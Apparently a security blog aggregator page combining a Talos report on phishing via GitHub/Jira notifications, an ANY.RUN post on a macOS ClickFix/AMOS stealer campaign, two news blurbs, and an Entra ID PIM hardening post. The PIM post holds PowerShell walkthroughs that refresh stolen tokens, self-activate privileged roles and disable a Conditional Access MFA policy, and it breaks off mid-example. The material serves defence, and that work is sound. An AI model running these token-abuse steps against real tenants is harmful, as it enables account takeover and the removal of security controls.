The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines

/in

The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines

By Diana Brown

  • Cisco Talos has recently observed an increase in activity that is leveraging notification pipelines in popular collaboration platforms to deliver spam and phishing emails.
  • These emails are transmitted using the legitimate mail delivery infrastructure associated with GitHub and Jira, minimizing the likelihood that they will be blocked in transit to potential victims.
  • By taking advantage of the built-in notification functionality available within these platforms, adversaries can more effectively circumvent email security and monitoring solutions and facilitate more effective delivery to potential victims.
  • In most cases, these campaigns have been associated with phishing and credential harvesting activity, which is often a precursor to additional attacks once credentials have been compromised and/or initial access has been achieved. 
  • During one campaign conducted on Feb. 17, 2026, approximately 2.89% of the emails observed being sent from GitHub were likely associated with this abuse activity. 

Platform abuse, social engineering, and SaaS notification hijacking 

Recent telemetry indicates an increase in threat actors leveraging the automated notification infrastructure of legitimate Software-as-a-Service (SaaS) platforms to facilitate social engineering campaigns. By embedding malicious lures within system-generated commit notifications, attackers bypass traditional reputation-based email security filters. This Platform-as-a-Proxy (PaaP) technique exploits the implicit trust organizations place in traffic originating from verified SaaS providers, effectively weaponizing legitimate infrastructure to bypass standard email authentication protocols. Talos’ analysis explores how attackers abuse the notification pipelines of platforms like GitHub and Atlassian to facilitate credential harvesting and social engineering. 

The PaaP model 

The core of this campaign relies on the abuse of SaaS features to generate emails. Because the emails are dispatched from the platform’s own infrastructure, they satisfy all standard authentication requirements (SPF, DKIM, and DMARC), effectively neutralizing the primary gatekeepers of modern email security. By decoupling the malicious intent from the technical infrastructure, attackers successfully deliver phishing content with a “seal of approval” that few security gateways are configured to challenge. 

Anatomy of GitHub campaign: Abusing automated notification pipelines 

The GitHub vector is a pure “notification pipeline” abuse mechanism. Attackers create repositories and push commits with payloads embedded in the commit messages. The User Interface Mechanism has two fields for text input: one is a mandatory summary, a single limited line, where the user provides a high-level overview of the change. Attackers weaponize this field to craft the initial social engineering hook, ensuring the malicious lure is the most prominent element of the resulting automated notification. The second field is an optional, extended description that allows for multi-line, detailed explanations. Attackers abuse this to place the primary scam content, such as fake billing details or fraudulent support numbers.  

The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines
Figure 1: Email header
The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines
Figure 2: The body of the message

By pushing a commit, the attacker triggers an automatic email notification. GitHub’s system is configured to notify collaborators of repository activity. Because the content is generated by the platform’s own system, it avoidssecurity flags. In this example, we can see the details of the commit followed by the scam message. At the bottom of the email, we have the mention of the subscription, buried at the very bottom of the page. 

The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines
Figure 3: List-Unsubscribe link

The chain of Received headers shows the message entering the system from “out-28[.]smtp[.]github[.]com” (IP “192[.]30[.]252[.]211”). This is a known legitimate and verified GitHub SMTP server.  

The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines
Figure 4: Raw headers

The email contains a DKIM-Signature with “d=github[.]com”. This signature was successfully verified by the receiving server (“esa1[.]hc6633-79[.]iphmx[.]com”), proving that the email was sent by an authorized GitHub system and was not tampered with in transit. Telemetry collected over a five-day observation period indicates that 1.20% of the total traffic originating from “noreply[@]github[.]com” contained the “invoice” lure in the subject line. On the peak day of Feb. 17, 2026, this volume spiked to approximately 2.89% of the daily sample set. 

Abusing workflow and invitation logic (Jira) 

The Jira vector does not rely on a notification pipeline in the traditional sense. Jira notifications are expected in corporate environments. An email from Atlassian is rarely blocked, as it is often critical for internal project management and IT operations. The abuse here is not a “pipeline” of activity, but an abuse of the collaborative invitation feature.  

Attackers do not have access to modify the underlying HTML/CSS templates of Atlassian’s emails. Instead, they abuse the data fields that the platform injects into those templates. When an attacker creates a Jira Service Management project, they are given several fields to configure. When the platform triggers an automated “Customer Invite” or “Service Desk” notification, it automatically wraps the attacker’s input — such as a fraudulent project name or a deceptive welcome message — within its own cryptographically signed, trusted email template. By utilizing a trusted delivery pipeline, the attacker successfully obscures the origin and intent of the malicious. 

In this example, the attacker sets the “Project Name” to “Argenta.” When the platform sends an automated invite, the email subject and body dynamically pull the project name. The recipient sees “Argenta” as the sender or the subject, which the platform has verified as the project name. 

The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines
Figure 5: Email header

The attacker placed their malicious lure subject into the “Welcome Message” or “Project Description” field. They use the “Invite Customers” feature and input the victim’s email address. Atlassian’s backend then generates the email. Because the system is designed to be a “Service Desk,” the email is formatted to look like a professional, automated system alert. At the bottom of the phishing email, we can see the branding footer that Jira automatically appends to email notifications.  

The Trojan horse of cybercrime: Weaponizing SaaS notification pipelines
Figure 6: The body of the message and the footer branding

Strategic implications 

The trust paradox is now the primary driver of successful phishing and scamming. GitHub is abused primarily for its high developer reputation, where attackers rely on the platform’s status as an official source of automated alerts. In contrast, Jira is abused for its business-critical integration; because it is a trusted enterprise tool, attackers use it to mimic internal IT and helpdesk alerts, which employees are pre-conditioned to treat as urgent and legitimate. In both cases, attackers are using the platform’s own reputation to launder their malicious content. 

How do we fundamentally change the trust model? 

Defending against PaaP attacks requires moving from the binary “trusted vs. untrusted” approach. Because attackers weaponize the platform’s own infrastructure to bypass authentication protocols (SPF/DKIM/DMARC), the gateway is effectively blind to the malicious intent. Defenders should transition to a Zero-Trust architecture that treats SaaS notifications as untrusted traffic until verified against platform-level telemetry. Moving beyond the limitations of the email gateway and adopt a fundamental paradigm shift: transitioning from reactive, signature-based filtering toward a proactive, API-driven model architecture that validates intent before a notification ever reaches the user.  

Identity and instance-level verification: We must move from “global domain trust” to “instance-level authorization.” Security teams should restrict notification acceptance to specific sender addresses or IP ranges associated with their organization’s verified SaaS instances. Furthermore, by implementing Identity-Contextualization, notifications must be cross-referenced against the organization’s internal SaaS directory. If a notification originates from an external or unverified account — even one hosted on a trusted platform like GitHub — it should be automatically quarantined. Verification is no longer about the server sending the email; it is about the identity of the user triggering the action. 

Upstream API-level monitoring: The most effective way to disrupt PaaP campaigns is to detect them before the notification is ever sent. Attackers must perform “precursor activities” within the platform — such as creating repositories, configuring project names, or mass-inviting users — to set the stage for their cyber-attack. By ingesting metadata from SaaS APIs (e.g., GitHub or Atlassian audit logs) into a SIEM/SOAR environment, security teams can identify these anomalous events in real-time. Detecting a “Project Creation” event that deviates from established naming conventions, originating from a country where the receiving organization has no employees or occurs outside of business hours allows for the preemptive suspension of the malicious account, neutralizing the threat at the source. Instead of waiting for a phishing email to arrive in an inbox, defenders are watching the attacker’s movements inside the platform as they set up the attack. 

Semantic intent and behavioral profiling: We must replace simple keyword matching with Business Logic Profiling. Every sanctioned SaaS tool has a functional “Communication Baseline.” GitHub is for code collaboration; Jira is for project management. By defining these baselines, security teams can detect “semantic discontinuity,” when the content of a notification (e.g., urgent financial billing) is incongruent with the platform’s primary utility. Any notification that deviates from the expected functional profile should trigger an automated “Suspicious” banner or be routed for manual review, regardless of its technical validity. 

Mitigating cognitive automation fatigue: PaaP attacks exploit “automation fatigue,” where users are conditioned to trust system-generated alerts. To break this cycle, organizations can introduce intentional friction. For high-risk SaaS interactions, such as new project invitations or requests for sensitive data, security policies should mandate out-of-band verification. By requiring a platform-native verification code or forcing the user to navigate directly to the official portal rather than clicking a link, we remove the “reflexive trust” that attackers rely on. This ensures that the platform’s “seal of approval” is validated by a deliberate human action. 

Automated takedown orchestration: Finally, the cost of attack must be increased. Security teams should integrate automated workflows that report malicious repositories or projects directly to the provider’s Trust andSafety teams. By accelerating the detection-to-takedown lifecycle, we force adversaries to constantly churn their infrastructure, making the PaaP model technically and economically unsustainable. 

By adopting this framework, the security posture evolves from “Is this email authenticated?” to “Is this platform activity authorized and consistent with our business logic?” This shift effectively strips the trusted status that attackers exploit, forcing them to operate within an environment where their actions are monitored, profiled, and verified at every stage of the pipeline. 

Acknowledgements 

Special thanks to the Talos Email Security Research Team — Dev Shah, Lucimara Borges, Bruno Antonino, Eden Avivi, Marina Barsegyan, Barbara Turino Jones, Doaa Osman, Yosuke Okazaki, and Said Toure — for their collaborative effort in identifying and mitigating these platform abuse vectors. 

Indicators of compromise (IOCs) 

IOCs for this threat can be found on our GitHub repository here. 

Cisco Talos Blog – ​Read More

ClickFix Meets AI: A Multi-Platform Attack Targeting macOS in the Wild

/in

For years, macOS environments carried an aura of relative safety. Not immunity, but lower priority in the threat landscape. That perception has aged about as well as an unpatched server. 
 
The reality in 2026 is very different. Apple devices now make up a significant share of corporate endpoints. And they sit in the hands of the people attackers most want to reach. Engineers, product leads, finance teams, and the C-suite are disproportionately Mac users. They have access to source code repositories, financial systems, privileged cloud credentials, and sensitive business data. 

Key Takeaways 

  • macOS is no longer a low-risk environment. Engineering, product, and executive teams are disproportionately Mac users with privileged access, making them high-value targets. 
  • A single compromised Mac can be an enterprise-wide breach entry point. Stolen session tokens, Keychain credentials, and SaaS cookies harvested from one device can grant attackers persistent access to cloud environments and internal systems without triggering authentication alerts. 
  • The ClickFix technique has evolved. Attackers now mimic and abuse legitimate AI platforms like Claude Code and Grok, exploiting the trust employees place in these tools to bypass traditional security controls entirely. 
  • Automated sandboxes miss macOS threats by design. Without interactive analysis, the execution paths are never triggered, and the threat goes undetected. 
  • ANY.RUN’s macOS sandbox closes a years-long visibility gap. Security teams can now investigate Apple-targeted threats inside the same unified workflow used for Windows, Linux, and Android — eliminating the context-switching and tooling fragmentation that slows incident response. 

Why macOS Threat Analysis Now Belongs in Your Security Stack 

Static or automated scanners often miss the full picture because many macOS threats stay dormant until a user enters a password, approves a dialog, or interacts with the system. This creates dangerous visibility gaps, longer dwell times, and slower incident response in mixed Windows/macOS environments. 

Interactive sandbox analysis lets security teams safely detonate suspicious files or URLs, observe real-time behavior, and simulate genuine user actions, revealing hidden intent, data exfiltration paths, and attacker capabilities that would otherwise remain invisible. 

  • Over 80 countries affected by major Mac stealer malware campaigns. 
  • A 67% increase in registered macOS backdoor variants in 2025. 

The Use Case: A macOS ClickFix Campaign Targeting AI Users 

ANY.RUN recently uncovered a sophisticated macOS-specific ClickFix campaign aimed squarely at users of popular AI development tools — including Claude Code, Grok, n8n, NotebookLM, Gemini CLI, OpenClaw, and Cursor. 

Observe the attack chain in a live sandbox session 

Multi-OS attack: malicious terminal commands for various platforms

Attackers bought Google ads that redirected victims to convincing fake documentation pages mimicking legitimate AI platforms (Claude Code in this case). Once there, a ClickFix-style social engineering prompt tricked users into running a terminal command.  

macOS terminal command downloading the malicious script 

This downloaded an obfuscated script that installed the AMOS Stealer malware. 

ZIP archive containing the stolen data 

AMOS escalated to root privileges, swept browser credentials and session cookies from Chrome, Safari, and Firefox, emptied cryptocurrency wallet applications, harvested saved passwords from the macOS Keychain, collected files from the Desktop, Documents, and Downloads folders, and installed a persistent backdoor that restarted itself within seconds if terminated.  

Backdoor C2 registration request 

This backdoor upgraded from basic command polling to a fully interactive reverse shell over WebSocket with PTY support, giving attackers real-time, hands-on control of the compromised Mac. 

To validate your detection coverage, research the campaign’s IOCs collected in our X post and subscribe to ANY.RUN via X.  

Why This Attack Works 

This campaign represents a fundamental shift in how risk reaches organizations. The delivery mechanism was not a phishing email or a malicious attachment — two threat vectors that corporate security infrastructure is built to intercept. It was a search engine result, a paid advertisement, and a trusted AI interface. Employees were not behaving carelessly; they were using the same research tools they use every day to get work done. 

  • AI workflows normalize experimentation: users expect to copy commands, test tools, and troubleshoot issues. The attack blends into that behavior. 
  • macOS users often operate with elevated trust: there is still a lingering perception that macOS is less targeted, which lowers suspicion. 
  • Security tools are not built for “user-driven execution”: when a user intentionally runs a command, many controls interpret it as legitimate activity. 

In short, the attack doesn’t break the rules. It borrows them. 

Close the macOS visibility gap before it becomes a breach
Equip your SOC with deeper multi-platform threat analysis



Request for your team


What This Means for Business 

This type of campaign doesn’t rely on technical failure, but on human-process alignment: 

  • Compromise without exploitation: traditional vulnerability management offers no protection here. The attack path is behavioral. 
  • High-value users are directly exposed: the targets of AI tools are often the same people with access to sensitive systems and data. 
  • Detection timelines increase: without clear malicious signatures, identifying the attack depends on recognizing suspicious behavior patterns. 
  • Incident scope can expand quickly: once access is established, attackers can pivot into internal systems, especially in loosely governed tool environments. 

Traditional security tools largely failed to detect this campaign because the initial payload (a shell command pasted from a legitimate website) produced no files, no installer, and no warning dialogs. Understanding and blocking the full attack chain required behavioral analysis in an environment that could replicate what a real macOS user would experience. That is precisely what interactive sandbox analysis provides. 

ANY.RUN Now Covers the Full Enterprise Attack Surface 

Recognizing that modern enterprises are not single-OS environments, ANY.RUN has extended its Interactive Sandbox to include macOS virtual machines, now available in beta for Enterprise Suite customers. This brings the platform to four major operating systems (Windows, Linux, Android, and macOS) within a single unified investigation workflow. 

When a macOS-specific file surfaces alongside Windows samples in a phishing campaign, analysts no longer need to switch context, stand up separate infrastructure, or route the sample to a different team. Cross-platform campaigns can be investigated as a whole. 

Interactive analysis catches what automated tools miss. A critical characteristic of many macOS threats, including the AMOS campaign described above, is that they are designed not to trigger until a user takes a specific action.  

ANY.RUN‘s interactive environment allows analysts to replicate genuine user actions during live sandbox execution. The result is that deceptive authentication dialogs, staged execution chains, and social engineering lures become visible and documentable, rather than hidden behind an execution condition the sandbox never triggered.  

In one documented analysis of the Miolab Stealer, a macOS-targeting infostealer, the sandbox surfaced the malware’s fake authentication prompt, the AppleScript routine used to collect files from user directories, and the outbound data transfer via a curl POST request, providing a complete behavioral picture of the attack chain in minutes. 

The practical impact of adding macOS to the sandbox workflow is measurable at multiple levels: 

  • Security teams can now validate suspicious files and URLs targeting Mac endpoints within minutes using behavioral analysis, rather than escalating to manual investigation or accepting the risk of unconfirmed alerts. The reduction in triage time directly compresses Mean Time to Detect and Mean Time to Respond: both metrics that translate directly into breach risk and regulatory exposure. 
  • For organizations where macOS represents a significant portion of the device fleet this closes a visibility gap that has existed for years. Attackers have been aware of and exploiting that gap. The tools to close it now exist. 
  • For MSSPs managing diverse client environments, the ability to investigate macOS threats within the same platform used for Windows and Linux analysis means consistent SLAs, fewer escalation paths, and the capacity to handle cross-platform incidents without specialized personnel for each OS. 

Expand your SOC’s cross-platform threat visibility
Speed up triage and response across 4 major OS



Contact ANY.RUN


Conclusion 

The campaign that weaponized AI platforms to deliver credential-stealing malware to macOS users is a clear indicator of where threat actors are investing their development effort. AI services trust, search engine visibility, and macOS endpoints are converging into a high-value attack surface: one that is actively being exploited against enterprises today. 

ANY.RUN’s expansion of its Interactive Sandbox to macOS gives security leaders a direct answer to a question that has grown more urgent with every major Apple-targeted campaign: when a threat targets our Mac users, can we actually see what it does? That answer is now yes. 

The capability is available in beta for Enterprise Suite customers. For organizations running mixed-OS environments — which today means nearly every enterprise — it represents a concrete step toward closing the gap between the threats targeting their users and the tools available to analyze them. 

About ANY.RUN  

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps security teams investigate threats faster and with greater clarity across modern enterprise environments.  

It allows teams to safely execute suspicious files and URLs, observe real behavior in an Interactive Sandbox, enrich indicators with immediate context through TI Lookup, and monitor emerging malicious infrastructure using Threat Intelligence Feeds. Together, these capabilities help reduce investigation uncertainty, accelerate triage, and limit unnecessary escalations across the SOC.  

ANY.RUN is trusted by thousands of organizations worldwide and meets enterprise security and compliance expectations. It is SOC 2 Type II certified, demonstrating its commitment to protecting customer data and maintaining strong security controls. 

FAQ 

Is macOS really at risk in enterprise environments, or is this overstated? 

The volume and sophistication of macOS-targeted malware has grown substantially since 2023. Campaigns like the one described in this article are not isolated incidents; they reflect a sustained, commercially organized effort targeting Apple endpoints. 

Why couldn’t existing security tools detect the AI-abusing ClickFix campaign? 

Because the initial infection vector produced nothing that traditional tools are built to flag. Signature-based detection and perimeter controls had nothing to intercept. Only behavioral analysis, observing what happens after that command executes, can surface the full attack chain. 

What is the difference between interactive and automated sandbox analysis for macOS threats? 

An automated sandbox executes a sample and records what it does without any user interaction. Many macOS threats are specifically engineered to detect this: they stay dormant, exit cleanly, or display nothing until a user takes a specific action — entering a password, clicking a dialog, or running a terminal command. Interactive analysis allows an analyst to replicate those real user actions inside the sandbox, triggering conditional execution paths that automated tools never reach.  

What should organizations do immediately to reduce exposure to this type of attack? 

Three steps deliver the most immediate risk reduction. First, ensure your SOC has the capability to analyze macOS-specific samples behaviorally — not just flag them as unreviewed. Second, implement user education specifically around AI platform trust: employees need to understand that content appearing on ChatGPT or Grok is not inherently safe, and that no legitimate service will ask them to paste commands into Terminal. Third, treat macOS endpoints with the same endpoint detection, logging, and incident response coverage you apply to Windows systems. Coverage parity is the baseline. 

Is ANY.RUN’s macOS sandbox available to all customers? 

The macOS virtual machine environment is currently available in beta for Enterprise Suite users. Organizations interested in evaluating macOS threat analysis capabilities as part of their existing or planned ANY.RUN deployment should contact the ANY.RUN team directly to discuss access and roadmap. 

The post ClickFix Meets AI: A Multi-Platform Attack Targeting macOS in the Wild appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

White House Seeks to Slash CISA Funding by $707 Million

/in

The Trump administration says the FY2027 budget refocuses CISA on its core mission: protecting federal agencies and critical infrastructure.

The post White House Seeks to Slash CISA Funding by $707 Million appeared first on SecurityWeek.

SecurityWeek – ​Read More

China-Linked Storm-1175 Exploits Zero-Days to Rapidly Deploy Medusa Ransomware

/in

A China-based threat actor known for deploying Medusa ransomware has been linked to the weaponization of a combination of zero-day and N-day vulnerabilities to orchestrate “high-velocity” attacks and break into susceptible internet-facing systems.
“The threat actor’s high operational tempo and proficiency in identifying exposed perimeter assets have proven successful, with recent

The Hacker News – ​Read More

Common Entra ID Security Assessment Findings – Part 3: Weak Privileged Identity Management Configuration

/in

This post is part of a small blog series covering common Entra ID security findings observed during real-world assessments. Each article explores selected findings in more detail to provide a clearer understanding of the underlying risks and practical implications.

What Is Privileged Identity Management?

Privileged Identity Management (PIM) is a service in Microsoft Entra ID that enables organizations to manage, control, and monitor privileged access.

The main features are:

  • Provide just-in-time privileged access
  • Assign time-bound access and end dates
  • Require approval or multifactor authentication to activate privileged roles
  • Require written justification for role activation
  • Generate notifications when privileged roles are activated

A common use case is to avoid permanently assigning the Global Administrator role. Instead, users or group members are made eligible to activate the role only when needed and only for a limited period.

Illustration of PIM for Entra ID roles, including different assignment types and role settings

The activation of a role can be protected by additional requirements such as MFA, approval, or justification. For stronger protection, activation can also require an Authentication Context1, which allows Conditional Access policies to enforce specific controls again at activation time.

PIM is available for:

  • Entra ID role assignments
  • Group assignments (member or owner)
  • Azure role assignments

This blog post focuses on PIM for Entra ID roles, but the same principles also apply to PIM for Groups and PIM for Azure roles.

Common Weaknesses in PIM Configuration

During security assessments, we frequently observe the same weak PIM configurations. In some cases, the use of PIM is sometimes even used to justify the absence of other important hardening measures, based on the assumption that administrators are already “protected by PIM.” In this chapter, we look at several weak configurations that can occur in practice and explain why PIM may provide less protection than expected when it is configured too permissively.

PIM Not Used

In some environments, PIM is not used at all, even though the required Entra ID P2 licenses are available. As a result, highly privileged roles such as Global Administrator remain assigned permanently. If such an account is compromised, for example through a phishing attack, an attacker can immediately obtain privileged access to the tenant.

High-Privilege Roles Missing from PIM Protection

Another common issue is that PIM is used for well-known sensitive roles such as Global Administrator, while other highly privileged roles remain permanently assigned.

MFA Requirement Relies Only on Built-In Azure MFA

In many environments, even highly privileged roles such as Global Administrator are protected only by the built-in Azure MFA requirement:

Screenshot of a PIM configuration where the Global Administrator role requires only Azure MFA for activation

If an attacker can steal tokens that were issued after MFA authentication and therefore already contain the MFA claim, they may be able to activate the role themselves without an additional MFA step-up.

Another important aspect is that PIM only adds protection at the moment of role activation. If an attacker has stolen a user’s refresh token, they can wait for the legitimate user to activate the privileged role and then use the stolen refresh token to obtain a new access token with the elevated privileges.

Permanent Active Assignments Are Allowed

If permanent active assignments are allowed, privileged roles can be assigned without an expiration date, increasing the risk of long-term privileged access.

Missing Notifications

Highly privileged roles are usually not needed for day-to-day operations. Notifications for role assignments and activations can help detect unusual or unexpected use, for example outside normal working hours.

Excessive Activation Duration

Highly privileged roles are usually only needed for short administrative tasks, such as assigning other privileged roles. They should therefore only be activated for a limited time. In many environments, however, the maximum activation duration is set to more than four hours. Although users can select a shorter duration, these settings are often left unchanged in practice, which increases the exposure window.

Attack Examples

The following examples show the consequences of relying solely on the built-in Azure MFA requirement. In these scenarios, we assume that an attacker has obtained authentication tokens for the Azure portal, for example through phishing.

Example 1: Satisfying the Built-In Azure MFA Requirement

In this example, we assume that no further restrictions for administrators are enforced through Conditional Access policies and that only MFA is required. The admin user Alice has an eligible assignment for the Entra ID role Conditional Access Administrator. In the PIM role settings, only Azure MFA is required and no approval is necessary for activation.

Diagram of a scenario where only Azure MFA is required to activate the eligible Conditional Access Administrator role

The stolen access token contains the value mfa in the amr claim. This indicates that the user Alice authenticated using MFA:

PS> invoke-parseJwt $tokens.access_token

aud                 : https://graph.microsoft.com
amr                 : {pwd, mfa}
app_displayname     : Azure Portal
appid               : c44b4083-3bb0-49c1-b47d-974e53cbdf3c
idtyp               : user
name                : Admin Alice
oid                 : 5a29624c-484c-4f59-b13d-7436cd9b36fb
scp                 : email openid Organization.Read.All Policy.ReadWrite.ApplicationConfiguration profile User.Read
tid                 : 9f412d6a-xxxx-xxxx-xxxx-32e31a6af459
upn                 : adm_alice@notasecuretenant.ch
[CUT-BY-COMPASS]

The access token obtained in this case does not contain the scope2 required to query the Conditional Access policies. However, the token is still highly powerful and can be used for the BroCi 3 auth flow, for example with tools such as EntraTokenAid, to obtain a new token with the required Policy.Read.All scope:

PS> $tokens = Invoke-Refresh -RefreshToken $tokens.refresh_token -ClientID '74658136-14ec-4630-ad9b-26e160ff0fc6' -BrkClientId 'c44b4083-3bb0-49c1-b47d-974e53cbdf3c' -RedirectUri 'brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://portal.azure.com' -Origin 'https://portal.azure.com'
[*] Sending request to token endpoint
[+] Got an access token and a refresh token
[i] Audience: https://graph.microsoft.com / Expires at: 03/18/2026 11:15:11

The newly obtained token includes a large number of pre-consented scopes of the Microsoft first-party application ADIbizaUX, including those required to interact with Conditional Access policies:

PS> invoke-parseJwt $tokens.access_token

aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/9f412d6a-xxxx-xxxx-xxxx-32e31a6af459/
amr                 : {pwd, mfa}
app_displayname     : ADIbizaUX
appid               : 74658136-14ec-4630-ad9b-26e160ff0fc6
name                : Admin Alice
oid                 : 5a29624c-484c-4f59-b13d-7436cd9b36fb
scp                 : _C.A6 _C.AY AccessReview.ReadWrite.All AgentCollection.Read.All AgentCollection.Read.Global AgentCollection.Read.Quarantined AgentInstance.Read.All Application.Read.All AuditLog.Read.All
ChangeManagement.Read.All ConsentRequest.Create ConsentRequest.Read ConsentRequest.ReadApprove.All ConsentRequest.ReadWrite.All CustomSecAttributeAssignment.Read.All CustomSecAttributeAuditLogs.Read.All Device-OrganizationalUnit.ReadWrite.All Directory.AccessAsUser.All Directory.Read.All Directory.ReadWrite.All Directory.Write.Restricted DirectoryRecommendations.Read.All DirectoryRecommendations.ReadWrite.All Domain.ReadWrite.All email EntitlementManagement.Read.All Group.ReadWrite.All HealthMonitoringAlert.ReadWrite.All
HealthMonitoringAlertConfig.ReadWrite.All IdentityProvider.ReadWrite.All IdentityRiskEvent.ReadWrite.All IdentityRiskyServicePrincipal.ReadWrite.All IdentityRiskyUser.ReadWrite.All IdentityUserFlow.Read.All LifecycleWorkflows.ReadWrite.All OnPremDirectorySynchronization.Read.All openid OrganizationalUnit.ReadWrite.All Policy.Read.All Policy.Read.IdentityProtection Policy.ReadWrite.AuthenticationFlows 
Policy.ReadWrite.AuthenticationMethod Policy.ReadWrite.Authorization Policy.ReadWrite.ConditionalAccess 
[CUT-BY-COMPASS]

Since the Conditional Access Administrator role is not permanently assigned, access to Conditional Access policies is still not possible:

PS> Connect-MgGraph -AccessToken ($Tokens.access_token | ConvertTo-SecureString -AsPlainText -Force)
Welcome to Microsoft Graph!

PS> Get-MgIdentityConditionalAccessPolicy
Get-MgIdentityConditionalAccessPolicy_List: Your account does not have access to this report or data. Please contact your global administrator to request access. One of the following roles is required: Security Reader, Company Administrator, Security Administrator, Conditional Access Administrator, Global Reader, Devices Admin, Entra Network Access Administrator.

Status: 403 (Forbidden)

However, the user object ID contained in the access token can be used to verify that the user is eligible to activate the Conditional Access Administrator role:

PS> (Get-MgRoleManagementDirectoryRoleEligibilityScheduleInstance -Filter "principalId eq '5a29624c-484c-4f59-b13d-7436cd9b36fb'" -All -ExpandProperty "roleDefinition").RoleDefinition | ft DisplayName,Id

DisplayName                      Id
-----------                      --
Conditional Access Administrator b1be1c3e-b65d-4f19-8427-f6fa0d97feb9

The role ID can then be used by the attacker to activate the role directly:

PS> $params = @{
	action = "SelfActivate"
	principalId = "5a29624c-484c-4f59-b13d-7436cd9b36fb"
	roleDefinitionId = "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9"
	directoryScopeId = "/"
	justification = "CAP Change"
	scheduleInfo = @{
		startDateTime = [System.DateTime]::Parse("2026-03-17T10:40:00.000Z")
		expiration = @{
			type = "AfterDuration"
			duration = "PT5H"
		}
	}
}

PS> New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -BodyParameter $params | ft Status,CompletedDateTime

Status      CompletedDateTime
------      -----------------
Provisioned 17.03.2026 12:47:42

To use the newly activated role, the attacker only needs to refresh the token and reconnect to the Microsoft Graph PowerShell module. The refreshed token now provides access to the Conditional Access policies:

PS> $tokens = Invoke-Refresh -RefreshToken $tokens.refresh_token -ClientID '74658136-14ec-4630-ad9b-26e160ff0fc6' -BrkClientId 'c44b4083-3bb0-49c1-b47d-974e53cbdf3c' -RedirectUri 'brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://portal.azure.com' -Origin 'https://portal.azure.com'
[*] Sending request to token endpoint
[+] Got an access token and a refresh token
[i] Audience: https://graph.microsoft.com / Expires at: 03/17/2026 12:50:56

PS> Connect-MgGraph -AccessToken ($Tokens.access_token | ConvertTo-SecureString -AsPlainText -Force)
Welcome to Microsoft Graph!

PS> Get-MgIdentityConditionalAccessPolicy | ft Displayname,ID,State

DisplayName              Id                                   State
-----------              --                                   -----
Enforce_MFA_All_User     da2a711b-6404-4287-b784-90b36442ccdf enabled
[CUT-BY-COMPASS]

With the Conditional Access Administrator role, the attacker can modify the policies, for example by excluding users or disabling them:

PS> Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId "da2a711b-6404-4287-b784-90b36442ccdf" -BodyParameter @{state = "disabled"}

PS> Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId "da2a711b-6404-4287-b784-90b36442ccdf" | ft Displayname,ID,State

DisplayName          Id                                   State
-----------          --                                   -----
Enforce_MFA_All_User da2a711b-6404-4287-b784-90b36442ccdf disabled

This example shows that PIM may offer only limited protection if it is configured too permissively and an attacker obtains a powerful token, such as one issued for an administrative portal session. If role activation had required an Authentication Context that enforces re-authentication during activation, this abuse path would have been significantly more difficult to exploit.

Example 2: Using a Stolen Refresh Token

In this second example, MFA is not enforced by a Conditional Access policy and is required only during activation of a privileged role such as User Administrator.

Diagram of a scenario where MFA is required only for PIM activation, while the attacker holds tokens from a non-MFA Microsoft Teams session

In this scenario, the attacker obtained authentication tokens for Alice’s Microsoft Teams client. Because Alice did not authenticate with MFA, the amr claim does not contain the value mfa:

PS> invoke-parseJwt $tokens.access_token

aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/9f412d6a-xxxx-xxxx-xxxx-32e31a6af459/
amr                 : {pwd}
app_displayname     : Microsoft Teams
appid               : 1fec8e78-bce4-4aaf-ab1b-5451cc387264
name                : Admin Alice
oid                 : 5a29624c-484c-4f59-b13d-7436cd9b36fb
scp                 : AppCatalog.Read.All Calendars.Read Calendars.Read.Shared Calendars.ReadWrite Calendars.ReadWrite.Shared Channel.ReadBasic.All ChatMessage.Send Contacts.ReadWrite.Shared email Files.ReadWrite.All FileStorageContainer.Selected InformationProtectionPolicy.Read Mail.ReadWrite Mail.Send MailboxSettings.ReadWrite Notes.ReadWrite.All openid Organization.Read.All People.Read Place.Read.All profile Sites.ReadWrite.All Tasks.ReadWrite Team.ReadBasic.All TeamsAppInstallation.ReadForTeam TeamsTab.Create User.ReadBasic.All
tid                 : 9f412d6a-xxxx-xxxx-xxxx-32e31a6af459
upn                 : adm_alice@notasecuretenant.ch
[CUT-BY-COMPASS]

Since activation of the User Administrator role requires MFA, the attacker cannot activate the role directly. However, if the session lifetime is not limited through Conditional Access policies, a stolen refresh token may remain valid for up to 90 days and can continue to be extended through repeated renewal. In addition, there is no limit on the number of valid refresh tokens that exist simultaneously. Because PIM protects only the moment of role activation, the attacker can simply wait until the user activates the role.

Assume that Alice later activates the role through the portal. At that point, she must complete MFA because it is enforced by PIM:

The attacker only needs to refresh the token to obtain a new access token that now includes the newly activated privileges. In addition, the attacker can use the refresh token’s FOCI (Family of Client IDs)4 capability to request a token for the Office 365 Management client (00b41c95-dab0-4487-9791-b9d2c32c80f2), which has the delegated API permission User.ReadWrite.All pre-consented:

PS> $tokens = Invoke-Refresh -RefreshToken $tokens.refresh_token -ClientID 00b41c95-dab0-4487-9791-b9d2c32c80f2
[*] Sending request to token endpoint
[+] Got an access token and a refresh token
[i] Audience: https://graph.microsoft.com / Expires at: 03/17/2026 15:17:02

Inspection of the access token shows that it still does not contain the value mfa in the amr claim:

PS> invoke-parseJwt $tokens.access_token

aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/9f412d6a-xxxx-xxxx-xxxx-32e31a6af459/
amr                 : {pwd}
app_displayname     : Office 365 Management
appid               : 00b41c95-dab0-4487-9791-b9d2c32c80f2
name                : Admin Alice
oid                 : 5a29624c-484c-4f59-b13d-7436cd9b36fb
